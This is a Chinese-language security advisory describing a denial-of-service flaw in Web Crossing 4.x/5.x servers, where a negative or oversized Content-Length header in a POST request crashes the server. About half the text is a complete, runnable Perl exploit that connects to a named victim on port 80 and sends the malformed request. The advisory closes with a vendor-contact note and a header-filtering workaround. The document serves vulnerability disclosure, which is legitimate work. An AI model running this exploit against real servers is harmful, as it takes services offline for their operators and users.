Web Crossing 4.x/5.x 拒绝服务漏洞 
  
涉及程序: 
Web Crossing 4.x/5.x  
  
描述: 
Web Crossing 4.x/5.x 拒绝服务漏洞 
  
详细: web crossing 是世界上的主流服务器合作平台,提供包括讨论小组/ 布告牌的解决办案,综合的新闻组和邮寄名单,详尽的电子邮件服务,日历服务,实时聊天, 现场实况和整个web应用编程特征。
                       
Web Crossing 4.x/5.x对用户请求缺乏过滤,当web-crossing的内嵌式服务器应用程序接到一个HTTP POST的请求的指令时,如果“Content-Length”为这个请求提供一个很大的数或者是负数时,服务器将接到一系列的指令导致无限循环问题,导致服务器因拒绝服务而崩溃。
这种恶意指令可以在at 0090121F中找到:0090121F F7F9 IDIV ECX
 
  
攻击方法: 
#!/usr/bin/perl -w 
# 
# Web Crossing 4.x\5.x Denial of Service Exploit 
# [ Bad 'Content-Length' Header Bug ] 
# 
# - by Peter Winter-Smith [peter4020_at_hotmail.com] 
use IO::Socket; 
if(!($ARGV[0])) 
{ 
print "Usage: wxdos.pl <victim>\n"; 
exit; 
} 
print "Web Crossing 4.x\\5.x Denial of Service Exploit\n" . 
    "\t[ Bad 'Content-Length' Header Bug ]\n" . 
    "\t[peter4020\@hotmail.com]\n\n"; 
$victim = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$ARGV[0], 
                   PeerPort=>"80") 
                   or die "Unable to connect to $ARGV[0] on " . 
                   "port 80"; 
$DoS = "POST / HTTP/1.1\r\n" . 
       "Content-Length: -1\r\n\r\n"; 
print $victim $DoS; 
print "[+] Evil request made to target server ... Waiting...!\n"; 
sleep(4); 
close($victim); 
print "[+] Done!\n"; 
exit; 
 
  
解决方案: 
web-crossing已经得到通知,但目前还没有提供解决方案,建议用户随时关注厂商站点以获取最近补丁或解决方案:
http://www.webcrossing.com
临时解决方案:
通过一些其它应用程序过滤掉'Content-Length'报头